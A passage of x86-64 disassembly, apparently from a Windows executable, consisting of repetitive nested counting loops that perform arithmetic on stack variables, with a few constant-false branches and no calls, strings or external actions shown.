jmp 0x14010d516
mov eax, dword [rsp + 0xe54]
inc eax
mov dword [rsp + 0xe54], eax
cmp dword [rsp + 0xe54], 3
jge 0x14010d5f1
mov eax, dword [rsp + 0xe54]
inc eax
mov dword [rsp + 0x914], eax
mov eax, dword [rsp + 0x914]
inc eax
mov dword [rsp + 0x914], eax
cmp dword [rsp + 0x914], 4
jne 0x14010d5de
mov dword [rsp + 0x910], 0xd
mov dword [rsp + 0xe58], 0
jmp 0x14010d57a
mov eax, dword [rsp + 0xe58]
inc eax
mov dword [rsp + 0xe58], eax
cmp dword [rsp + 0xe58], 4
jge 0x14010d5c3
mov eax, dword [rsp + 0xe58]
mov ecx, dword [rsp + 0x910]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x910], eax
mov eax, dword [rsp + 0x910]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010d5c1
imul eax, dword [rsp + 0x910], 3
mov dword [rsp + 0x910], eax
jmp 0x14010d56a
mov eax, dword [rsp + 0x914]
imul eax, dword [rsp + 0x1798]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c90], eax
cmp dword [rsp + 0x914], 6
jl 0x14010d534
jmp 0x14010d506
cmp dword [rsp + 0x1798], 0xa
jle 0x14010d6a4
mov eax, dword [rsp + 0x1798]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x179c], eax
mov dword [rsp + 0x918], 0xd
mov dword [rsp + 0xe5c], 0
jmp 0x14010d63d
mov eax, dword [rsp + 0xe5c]
inc eax
mov dword [rsp + 0xe5c], eax
cmp dword [rsp + 0xe5c], 4
jge 0x14010d686
mov eax, dword [rsp + 0xe5c]
mov ecx, dword [rsp + 0x918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x918], eax
mov eax, dword [rsp + 0x918]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010d684
imul eax, dword [rsp + 0x918], 3
mov dword [rsp + 0x918], eax
jmp 0x14010d62d
mov eax, dword [rsp + 0x179c]
dec eax
mov dword [rsp + 0x179c], eax
cmp dword [rsp + 0x179c], 0
jg 0x14010d615
jmp 0x14010d4d0
mov eax, dword [rsp + 0x928]
imul eax, dword [rsp + 0x17ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c94], eax
mov dword [rsp + 0x17a0], 0
jmp 0x14010d6e1
mov eax, dword [rsp + 0x17a0]
inc eax
mov dword [rsp + 0x17a0], eax
cmp dword [rsp + 0x17a0], 5
jge 0x14010d8aa
mov dword [rsp + 0x17a4], 0x11
mov dword [rsp + 0xe60], 0
jmp 0x14010d717
mov eax, dword [rsp + 0xe60]
inc eax
mov dword [rsp + 0xe60], eax
cmp dword [rsp + 0xe60], 3
jge 0x14010d7f2
mov eax, dword [rsp + 0xe60]
inc eax
mov dword [rsp + 0x920], eax
mov eax, dword [rsp + 0x920]
inc eax
mov dword [rsp + 0x920], eax
cmp dword [rsp + 0x920], 4
jne 0x14010d7df
mov dword [rsp + 0x91c], 0xd
mov dword [rsp + 0xe64], 0
jmp 0x14010d77b
mov eax, dword [rsp + 0xe64]
inc eax
mov dword [rsp + 0xe64], eax
cmp dword [rsp + 0xe64], 4
jge 0x14010d7c4
mov eax, dword [rsp + 0xe64]
mov ecx, dword [rsp + 0x91c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91c], eax
mov eax, dword [rsp + 0x91c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010d7c2
imul eax, dword [rsp + 0x91c], 3
mov dword [rsp + 0x91c], eax
jmp 0x14010d76b
mov eax, dword [rsp + 0x920]
imul eax, dword [rsp + 0x17a4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c98], eax
cmp dword [rsp + 0x920], 6
jl 0x14010d735
jmp 0x14010d707
cmp dword [rsp + 0x17a4], 0xa
jle 0x14010d8a5
mov eax, dword [rsp + 0x17a4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x17a8], eax
mov dword [rsp + 0x924], 0xd
mov dword [rsp + 0xe68], 0
jmp 0x14010d83e
mov eax, dword [rsp + 0xe68]
inc eax
mov dword [rsp + 0xe68], eax
cmp dword [rsp + 0xe68], 4
jge 0x14010d887
mov eax, dword [rsp + 0xe68]
mov ecx, dword [rsp + 0x924]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x924], eax
mov eax, dword [rsp + 0x924]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010d885
imul eax, dword [rsp + 0x924], 3
mov dword [rsp + 0x924], eax
jmp 0x14010d82e
mov eax, dword [rsp + 0x17a8]
dec eax
mov dword [rsp + 0x17a8], eax
cmp dword [rsp + 0x17a8], 0
jg 0x14010d816
jmp 0x14010d6d1
cmp dword [rsp + 0x928], 0x23
jl 0x14010d4a4
jmp 0x14010d475
cmp dword [rsp + 0x17ac], 0x28
jle 0x14010dae6
mov eax, dword [rsp + 0x17ac]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x17bc], eax
mov dword [rsp + 0x17b0], 0
jmp 0x14010d8fe
mov eax, dword [rsp + 0x17b0]
inc eax
mov dword [rsp + 0x17b0], eax
cmp dword [rsp + 0x17b0], 5
jge 0x14010dac7
mov dword [rsp + 0x17b4], 0x11
mov dword [rsp + 0xe6c], 0
jmp 0x14010d934
mov eax, dword [rsp + 0xe6c]
inc eax
mov dword [rsp + 0xe6c], eax
cmp dword [rsp + 0xe6c], 3
jge 0x14010da0f
mov eax, dword [rsp + 0xe6c]
inc eax
mov dword [rsp + 0x930], eax
mov eax, dword [rsp + 0x930]
inc eax
mov dword [rsp + 0x930], eax
cmp dword [rsp + 0x930], 4
jne 0x14010d9fc
mov dword [rsp + 0x92c], 0xd
mov dword [rsp + 0xe70], 0
jmp 0x14010d998
mov eax, dword [rsp + 0xe70]
inc eax
mov dword [rsp + 0xe70], eax
cmp dword [rsp + 0xe70], 4
jge 0x14010d9e1
mov eax, dword [rsp + 0xe70]
mov ecx, dword [rsp + 0x92c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92c], eax
mov eax, dword [rsp + 0x92c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010d9df
imul eax, dword [rsp + 0x92c], 3
mov dword [rsp + 0x92c], eax
jmp 0x14010d988
mov eax, dword [rsp + 0x930]
imul eax, dword [rsp + 0x17b4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c9c], eax
cmp dword [rsp + 0x930], 6
jl 0x14010d952
jmp 0x14010d924
cmp dword [rsp + 0x17b4], 0xa
jle 0x14010dac2
mov eax, dword [rsp + 0x17b4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x17b8], eax
mov dword [rsp + 0x934], 0xd
mov dword [rsp + 0xe74], 0
jmp 0x14010da5b
mov eax, dword [rsp + 0xe74]
inc eax
mov dword [rsp + 0xe74], eax
cmp dword [rsp + 0xe74], 4
jge 0x14010daa4
mov eax, dword [rsp + 0xe74]
mov ecx, dword [rsp + 0x934]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x934], eax
mov eax, dword [rsp + 0x934]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010daa2
imul eax, dword [rsp + 0x934], 3
mov dword [rsp + 0x934], eax
jmp 0x14010da4b
mov eax, dword [rsp + 0x17b8]
dec eax
mov dword [rsp + 0x17b8], eax
cmp dword [rsp + 0x17b8], 0
jg 0x14010da33
jmp 0x14010d8ee
mov eax, dword [rsp + 0x17bc]
sub eax, 2
mov dword [rsp + 0x17bc], eax
cmp dword [rsp + 0x17bc], 0
jg 0x14010d8e1
mov dword [rsp + 0x17c0], 0
jmp 0x14010db03
mov eax, dword [rsp + 0x17c0]
inc eax
mov dword [rsp + 0x17c0], eax
cmp dword [rsp + 0x17c0], 5
jge 0x14010dccc
mov dword [rsp + 0x17c4], 0x11
mov dword [rsp + 0xe78], 0
jmp 0x14010db39
mov eax, dword [rsp + 0xe78]
inc eax
mov dword [rsp + 0xe78], eax
cmp dword [rsp + 0xe78], 3
jge 0x14010dc14
mov eax, dword [rsp + 0xe78]
inc eax
mov dword [rsp + 0x93c], eax
mov eax, dword [rsp + 0x93c]
inc eax
mov dword [rsp + 0x93c], eax
cmp dword [rsp + 0x93c], 4
jne 0x14010dc01
mov dword [rsp + 0x938], 0xd
mov dword [rsp + 0xe7c], 0
jmp 0x14010db9d
mov eax, dword [rsp + 0xe7c]
inc eax
mov dword [rsp + 0xe7c], eax
cmp dword [rsp + 0xe7c], 4
jge 0x14010dbe6
mov eax, dword [rsp + 0xe7c]
mov ecx, dword [rsp + 0x938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x938], eax
mov eax, dword [rsp + 0x938]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010dbe4
imul eax, dword [rsp + 0x938], 3
mov dword [rsp + 0x938], eax
jmp 0x14010db8d
mov eax, dword [rsp + 0x93c]
imul eax, dword [rsp + 0x17c4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ca0], eax
cmp dword [rsp + 0x93c], 6
jl 0x14010db57
jmp 0x14010db29
cmp dword [rsp + 0x17c4], 0xa
jle 0x14010dcc7
mov eax, dword [rsp + 0x17c4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x17c8], eax
mov dword [rsp + 0x940], 0xd
mov dword [rsp + 0xe80], 0
jmp 0x14010dc60
mov eax, dword [rsp + 0xe80]
inc eax
mov dword [rsp + 0xe80], eax
cmp dword [rsp + 0xe80], 4
jge 0x14010dca9
mov eax, dword [rsp + 0xe80]
mov ecx, dword [rsp + 0x940]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x940], eax
mov eax, dword [rsp + 0x940]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010dca7
imul eax, dword [rsp + 0x940], 3
mov dword [rsp + 0x940], eax
jmp 0x14010dc50
mov eax, dword [rsp + 0x17c8]
dec eax
mov dword [rsp + 0x17c8], eax
cmp dword [rsp + 0x17c8], 0
jg 0x14010dc38
jmp 0x14010daf3
jmp 0x14010d43f
jmp 0x14010e57a
mov dword [rsp + 0x17cc], 0
jmp 0x14010dcf3
mov eax, dword [rsp + 0x17cc]
inc eax
mov dword [rsp + 0x17cc], eax
cmp dword [rsp + 0x17cc], 5
jge 0x14010e57a
mov dword [rsp + 0x17e8], 0x5c
mov dword [rsp + 0xe84], 0
jmp 0x14010dd29
mov eax, dword [rsp + 0xe84]
inc eax
mov dword [rsp + 0xe84], eax
cmp dword [rsp + 0xe84], 6
jge 0x14010e165
mov eax, dword [rsp + 0xe84]
add eax, 9
mov dword [rsp + 0x95c], eax
mov eax, dword [rsp + 0x95c]
add eax, 3
mov dword [rsp + 0x95c], eax
cmp dword [rsp + 0x95c], 0x18
jne 0x14010e152
mov dword [rsp + 0x17d0], 0
jmp 0x14010dd84
mov eax, dword [rsp + 0x17d0]
inc eax
mov dword [rsp + 0x17d0], eax
cmp dword [rsp + 0x17d0], 5
jge 0x14010df4d
mov dword [rsp + 0x17d4], 0x11
mov dword [rsp + 0xe88], 0
jmp 0x14010ddba
mov eax, dword [rsp + 0xe88]
inc eax
mov dword [rsp + 0xe88], eax
cmp dword [rsp + 0xe88], 3
jge 0x14010de95
mov eax, dword [rsp + 0xe88]
inc eax
mov dword [rsp + 0x948], eax
mov eax, dword [rsp + 0x948]
inc eax
mov dword [rsp + 0x948], eax
cmp dword [rsp + 0x948], 4
jne 0x14010de82
mov dword [rsp + 0x944], 0xd
mov dword [rsp + 0xe8c], 0
jmp 0x14010de1e
mov eax, dword [rsp + 0xe8c]
inc eax
mov dword [rsp + 0xe8c], eax
cmp dword [rsp + 0xe8c], 4
jge 0x14010de67
mov eax, dword [rsp + 0xe8c]
mov ecx, dword [rsp + 0x944]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x944], eax
mov eax, dword [rsp + 0x944]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010de65
imul eax, dword [rsp + 0x944], 3
mov dword [rsp + 0x944], eax
jmp 0x14010de0e
mov eax, dword [rsp + 0x948]
imul eax, dword [rsp + 0x17d4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ca4], eax
cmp dword [rsp + 0x948], 6
jl 0x14010ddd8
jmp 0x14010ddaa
cmp dword [rsp + 0x17d4], 0xa
jle 0x14010df48
mov eax, dword [rsp + 0x17d4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x17d8], eax
mov dword [rsp + 0x94c], 0xd
mov dword [rsp + 0xe90], 0
jmp 0x14010dee1
mov eax, dword [rsp + 0xe90]
inc eax
mov dword [rsp + 0xe90], eax
cmp dword [rsp + 0xe90], 4
jge 0x14010df2a
mov eax, dword [rsp + 0xe90]
mov ecx, dword [rsp + 0x94c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94c], eax
mov eax, dword [rsp + 0x94c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010df28
imul eax, dword [rsp + 0x94c], 3
mov dword [rsp + 0x94c], eax
jmp 0x14010ded1
mov eax, dword [rsp + 0x17d8]
dec eax
mov dword [rsp + 0x17d8], eax
cmp dword [rsp + 0x17d8], 0
jg 0x14010deb9
jmp 0x14010dd74
mov eax, dword [rsp + 0x95c]
imul eax, dword [rsp + 0x17e8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1ca8], eax
mov dword [rsp + 0x17dc], 0
jmp 0x14010df89
mov eax, dword [rsp + 0x17dc]
inc eax
mov dword [rsp + 0x17dc], eax
cmp dword [rsp + 0x17dc], 5
jge 0x14010e152
mov dword [rsp + 0x17e0], 0x11
mov dword [rsp + 0xe94], 0
jmp 0x14010dfbf
mov eax, dword [rsp + 0xe94]
inc eax
mov dword [rsp + 0xe94], eax
cmp dword [rsp + 0xe94], 3
jge 0x14010e09a
mov eax, dword [rsp + 0xe94]
inc eax
mov dword [rsp + 0x954], eax
mov eax, dword [rsp + 0x954]
inc eax
mov dword [rsp + 0x954], eax
cmp dword [rsp + 0x954], 4
jne 0x14010e087
mov dword [rsp + 0x950], 0xd
mov dword [rsp + 0xe98], 0
jmp 0x14010e023
mov eax, dword [rsp + 0xe98]
inc eax
mov dword [rsp + 0xe98], eax
cmp dword [rsp + 0xe98], 4
jge 0x14010e06c
mov eax, dword [rsp + 0xe98]
mov ecx, dword [rsp + 0x950]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x950], eax
mov eax, dword [rsp + 0x950]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010e06a
imul eax, dword [rsp + 0x950], 3
mov dword [rsp + 0x950], eax
jmp 0x14010e013
mov eax, dword [rsp + 0x954]
imul eax, dword [rsp + 0x17e0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cac], eax
cmp dword [rsp + 0x954], 6
jl 0x14010dfdd
jmp 0x14010dfaf
cmp dword [rsp + 0x17e0], 0xa
jle 0x14010e14d
mov eax, dword [rsp + 0x17e0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x17e4], eax
mov dword [rsp + 0x958], 0xd
mov dword [rsp + 0xe9c], 0
jmp 0x14010e0e6
mov eax, dword [rsp + 0xe9c]
inc eax
mov dword [rsp + 0xe9c], eax
cmp dword [rsp + 0xe9c], 4
jge 0x14010e12f
mov eax, dword [rsp + 0xe9c]
mov ecx, dword [rsp + 0x958]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x958], eax
mov eax, dword [rsp + 0x958]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010e12d
imul eax, dword [rsp + 0x958], 3
mov dword [rsp + 0x958], eax
jmp 0x14010e0d6
mov eax, dword [rsp + 0x17e4]
dec eax
mov dword [rsp + 0x17e4], eax
cmp dword [rsp + 0x17e4], 0
jg 0x14010e0be
jmp 0x14010df79
cmp dword [rsp + 0x95c], 0x21
jl 0x14010dd48
jmp 0x14010dd19
cmp dword [rsp + 0x17e8], 0x32
jle 0x14010e38f
mov eax, dword [rsp + 0x17e8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x17f8], eax
mov dword [rsp + 0x17ec], 0
jmp 0x14010e1a7
mov eax, dword [rsp + 0x17ec]
inc eax
mov dword [rsp + 0x17ec], eax
cmp dword [rsp + 0x17ec], 5
jge 0x14010e370
mov dword [rsp + 0x17f0], 0x11
mov dword [rsp + 0xea0], 0
jmp 0x14010e1dd
mov eax, dword [rsp + 0xea0]
inc eax
mov dword [rsp + 0xea0], eax
cmp dword [rsp + 0xea0], 3
jge 0x14010e2b8
mov eax, dword [rsp + 0xea0]
inc eax
mov dword [rsp + 0x964], eax
mov eax, dword [rsp + 0x964]
inc eax
mov dword [rsp + 0x964], eax
cmp dword [rsp + 0x964], 4
jne 0x14010e2a5
mov dword [rsp + 0x960], 0xd
mov dword [rsp + 0xea4], 0
jmp 0x14010e241
mov eax, dword [rsp + 0xea4]
inc eax
mov dword [rsp + 0xea4], eax
cmp dword [rsp + 0xea4], 4
jge 0x14010e28a
mov eax, dword [rsp + 0xea4]
mov ecx, dword [rsp + 0x960]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x960], eax
mov eax, dword [rsp + 0x960]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010e288
imul eax, dword [rsp + 0x960], 3
mov dword [rsp + 0x960], eax
jmp 0x14010e231
mov eax, dword [rsp + 0x964]
imul eax, dword [rsp + 0x17f0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cb0], eax
cmp dword [rsp + 0x964], 6
jl 0x14010e1fb
jmp 0x14010e1cd
cmp dword [rsp + 0x17f0], 0xa
jle 0x14010e36b
mov eax, dword [rsp + 0x17f0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x17f4], eax
mov dword [rsp + 0x968], 0xd
mov dword [rsp + 0xea8], 0
jmp 0x14010e304
mov eax, dword [rsp + 0xea8]
inc eax
mov dword [rsp + 0xea8], eax
cmp dword [rsp + 0xea8], 4
jge 0x14010e34d
mov eax, dword [rsp + 0xea8]
mov ecx, dword [rsp + 0x968]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x968], eax
mov eax, dword [rsp + 0x968]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010e34b
imul eax, dword [rsp + 0x968], 3
mov dword [rsp + 0x968], eax
jmp 0x14010e2f4
mov eax, dword [rsp + 0x17f4]
dec eax
mov dword [rsp + 0x17f4], eax
cmp dword [rsp + 0x17f4], 0
jg 0x14010e2dc
jmp 0x14010e197
mov eax, dword [rsp + 0x17f8]
sub eax, 5
mov dword [rsp + 0x17f8], eax
cmp dword [rsp + 0x17f8], 0
jg 0x14010e18a
mov dword [rsp + 0x17fc], 0
jmp 0x14010e3ac
mov eax, dword [rsp + 0x17fc]
inc eax
mov dword [rsp + 0x17fc], eax
cmp dword [rsp + 0x17fc], 5
jge 0x14010e575
mov dword [rsp + 0x1800], 0x11
mov dword [rsp + 0xeac], 0
jmp 0x14010e3e2
mov eax, dword [rsp + 0xeac]
inc eax
mov dword [rsp + 0xeac], eax
cmp dword [rsp + 0xeac], 3
jge 0x14010e4bd
mov eax, dword [rsp + 0xeac]
inc eax
mov dword [rsp + 0x970], eax
mov eax, dword [rsp + 0x970]
inc eax
mov dword [rsp + 0x970], eax
cmp dword [rsp + 0x970], 4
jne 0x14010e4aa
mov dword [rsp + 0x96c], 0xd
mov dword [rsp + 0xeb0], 0
jmp 0x14010e446
mov eax, dword [rsp + 0xeb0]
inc eax
mov dword [rsp + 0xeb0], eax
cmp dword [rsp + 0xeb0], 4
jge 0x14010e48f
mov eax, dword [rsp + 0xeb0]
mov ecx, dword [rsp + 0x96c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x96c], eax
mov eax, dword [rsp + 0x96c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010e48d
imul eax, dword [rsp + 0x96c], 3
mov dword [rsp + 0x96c], eax
jmp 0x14010e436
mov eax, dword [rsp + 0x970]
imul eax, dword [rsp + 0x1800]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cb4], eax
cmp dword [rsp + 0x970], 6
jl 0x14010e400
jmp 0x14010e3d2
cmp dword [rsp + 0x1800], 0xa
jle 0x14010e570
mov eax, dword [rsp + 0x1800]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1804], eax
mov dword [rsp + 0x974], 0xd
mov dword [rsp + 0x9b4], 0
jmp 0x14010e509
mov eax, dword [rsp + 0x9b4]
inc eax
mov dword [rsp + 0x9b4], eax
cmp dword [rsp + 0x9b4], 4
jge 0x14010e552
mov eax, dword [rsp + 0x9b4]
mov ecx, dword [rsp + 0x974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x974], eax
mov eax, dword [rsp + 0x974]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010e550
imul eax, dword [rsp + 0x974], 3
mov dword [rsp + 0x974], eax
jmp 0x14010e4f9
mov eax, dword [rsp + 0x1804]
dec eax
mov dword [rsp + 0x1804], eax
cmp dword [rsp + 0x1804], 0
jg 0x14010e4e1
jmp 0x14010e39c
jmp 0x14010dce3
xor eax, eax
cmp eax, 1
je 0x14010f33e
xor eax, eax
test eax, eax
je 0x14010ec68
mov dword [rsp + 0x1808], 0
jmp 0x14010e5ac
mov eax, dword [rsp + 0x1808]
inc eax
mov dword [rsp + 0x1808], eax
cmp dword [rsp + 0x1808], 5
jge 0x14010ec63
mov dword [rsp + 0x1824], 0x33
mov dword [rsp + 0x9b8], 0
jmp 0x14010e5e2
mov eax, dword [rsp + 0x9b8]
inc eax
mov dword [rsp + 0x9b8], eax
cmp dword [rsp + 0x9b8], 6
jge 0x14010e934
mov eax, dword [rsp + 0x9b8]
add eax, 2
mov dword [rsp + 0x990], eax
mov eax, dword [rsp + 0x990]
add eax, 3
mov dword [rsp + 0x990], eax
cmp dword [rsp + 0x990], 0xb
jne 0x14010e921
mov dword [rsp + 0x180c], 0
jmp 0x14010e63d
mov eax, dword [rsp + 0x180c]
inc eax
mov dword [rsp + 0x180c], eax
cmp dword [rsp + 0x180c], 5
jge 0x14010e793
mov dword [rsp + 0x1810], 7
mov dword [rsp + 0x9bc], 0
jmp 0x14010e673
mov eax, dword [rsp + 0x9bc]
inc eax
mov dword [rsp + 0x9bc], eax
cmp dword [rsp + 0x9bc], 2
jge 0x14010e716
mov eax, dword [rsp + 0x9bc]
inc eax
mov dword [rsp + 0x97c], eax
mov eax, dword [rsp + 0x97c]
inc eax
mov dword [rsp + 0x97c], eax
cmp dword [rsp + 0x97c], 2
jne 0x14010e707
mov dword [rsp + 0x978], 0x15
mov eax, dword [rsp + 0x978]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010e6db
mov eax, dword [rsp + 0x978]
shl eax, 1
mov dword [rsp + 0x978], eax
jmp 0x14010e6ec
mov eax, dword [rsp + 0x978]
add eax, 3
mov dword [rsp + 0x978], eax
mov eax, dword [rsp + 0x97c]
imul eax, dword [rsp + 0x1810]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cb8], eax
cmp dword [rsp + 0x97c], 3
jl 0x14010e691
jmp 0x14010e663
cmp dword [rsp + 0x1810], 5
jle 0x14010e78e
mov eax, dword [rsp + 0x1810]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1814], eax
mov dword [rsp + 0x980], 0x15
mov eax, dword [rsp + 0x980]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010e763
mov eax, dword [rsp + 0x980]
shl eax, 1
mov dword [rsp + 0x980], eax
jmp 0x14010e774
mov eax, dword [rsp + 0x980]
add eax, 3
mov dword [rsp + 0x980], eax
mov eax, dword [rsp + 0x1814]
dec eax
mov dword [rsp + 0x1814], eax
cmp dword [rsp + 0x1814], 0
jg 0x14010e733
jmp 0x14010e62d
mov eax, dword [rsp + 0x990]
imul eax, dword [rsp + 0x1824]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cbc], eax
mov dword [rsp + 0x1818], 0
jmp 0x14010e7cb
mov eax, dword [rsp + 0x1818]
inc eax
mov dword [rsp + 0x1818], eax
cmp dword [rsp + 0x1818], 5
jge 0x14010e921
mov dword [rsp + 0x181c], 7
mov dword [rsp + 0x9c0], 0
jmp 0x14010e801
mov eax, dword [rsp + 0x9c0]
inc eax
mov dword [rsp + 0x9c0], eax
cmp dword [rsp + 0x9c0], 2
jge 0x14010e8a4
mov eax, dword [rsp + 0x9c0]
inc eax
mov dword [rsp + 0x988], eax
mov eax, dword [rsp + 0x988]
inc eax
mov dword [rsp + 0x988], eax
cmp dword [rsp + 0x988], 2
jne 0x14010e895
mov dword [rsp + 0x984], 0x15
mov eax, dword [rsp + 0x984]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010e869
mov eax, dword [rsp + 0x984]
shl eax, 1
mov dword [rsp + 0x984], eax
jmp 0x14010e87a
mov eax, dword [rsp + 0x984]
add eax, 3
mov dword [rsp + 0x984], eax
mov eax, dword [rsp + 0x988]
imul eax, dword [rsp + 0x181c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cc0], eax
cmp dword [rsp + 0x988], 3
jl 0x14010e81f
jmp 0x14010e7f1
cmp dword [rsp + 0x181c], 5
jle 0x14010e91c
mov eax, dword [rsp + 0x181c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1820], eax
mov dword [rsp + 0x98c], 0x15
mov eax, dword [rsp + 0x98c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010e8f1
mov eax, dword [rsp + 0x98c]
shl eax, 1
mov dword [rsp + 0x98c], eax
jmp 0x14010e902
mov eax, dword [rsp + 0x98c]
add eax, 3
mov dword [rsp + 0x98c], eax
mov eax, dword [rsp + 0x1820]
dec eax
mov dword [rsp + 0x1820], eax
cmp dword [rsp + 0x1820], 0
jg 0x14010e8c1
jmp 0x14010e7bb
cmp dword [rsp + 0x990], 0xf
jl 0x14010e601
jmp 0x14010e5d2
cmp dword [rsp + 0x1824], 0x19
jle 0x14010eaeb
mov eax, dword [rsp + 0x1824]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1834], eax
mov dword [rsp + 0x1828], 0
jmp 0x14010e976
mov eax, dword [rsp + 0x1828]
inc eax
mov dword [rsp + 0x1828], eax
cmp dword [rsp + 0x1828], 5
jge 0x14010eacc
mov dword [rsp + 0x182c], 7
mov dword [rsp + 0x9c4], 0
jmp 0x14010e9ac
mov eax, dword [rsp + 0x9c4]
inc eax
mov dword [rsp + 0x9c4], eax
cmp dword [rsp + 0x9c4], 2
jge 0x14010ea4f
mov eax, dword [rsp + 0x9c4]
inc eax
mov dword [rsp + 0x998], eax
mov eax, dword [rsp + 0x998]
inc eax
mov dword [rsp + 0x998], eax
cmp dword [rsp + 0x998], 2
jne 0x14010ea40
mov dword [rsp + 0x994], 0x15
mov eax, dword [rsp + 0x994]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010ea14
mov eax, dword [rsp + 0x994]
shl eax, 1
mov dword [rsp + 0x994], eax
jmp 0x14010ea25
mov eax, dword [rsp + 0x994]
add eax, 3
mov dword [rsp + 0x994], eax
mov eax, dword [rsp + 0x998]
imul eax, dword [rsp + 0x182c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cc4], eax
cmp dword [rsp + 0x998], 3
jl 0x14010e9ca
jmp 0x14010e99c
cmp dword [rsp + 0x182c], 5
jle 0x14010eac7
mov eax, dword [rsp + 0x182c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1830], eax
mov dword [rsp + 0x99c], 0x15
mov eax, dword [rsp + 0x99c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010ea9c
mov eax, dword [rsp + 0x99c]
shl eax, 1
mov dword [rsp + 0x99c], eax
jmp 0x14010eaad
mov eax, dword [rsp + 0x99c]
add eax, 3
mov dword [rsp + 0x99c], eax
mov eax, dword [rsp + 0x1830]
dec eax
mov dword [rsp + 0x1830], eax
cmp dword [rsp + 0x1830], 0
jg 0x14010ea6c
jmp 0x14010e966
mov eax, dword [rsp + 0x1834]
sub eax, 2
mov dword [rsp + 0x1834], eax
cmp dword [rsp + 0x1834], 0
jg 0x14010e959
mov dword [rsp + 0x1838], 0
jmp 0x14010eb08
mov eax, dword [rsp + 0x1838]
inc eax
mov dword [rsp + 0x1838], eax
cmp dword [rsp + 0x1838], 5
jge 0x14010ec5e
mov dword [rsp + 0x183c], 7
mov dword [rsp + 0x9c8], 0
jmp 0x14010eb3e
mov eax, dword [rsp + 0x9c8]
inc eax
mov dword [rsp + 0x9c8], eax
cmp dword [rsp + 0x9c8], 2
jge 0x14010ebe1
mov eax, dword [rsp + 0x9c8]
inc eax
mov dword [rsp + 0x9a4], eax
mov eax, dword [rsp + 0x9a4]
inc eax
mov dword [rsp + 0x9a4], eax
cmp dword [rsp + 0x9a4], 2
jne 0x14010ebd2
mov dword [rsp + 0x9a0], 0x15
mov eax, dword [rsp + 0x9a0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010eba6
mov eax, dword [rsp + 0x9a0]
shl eax, 1
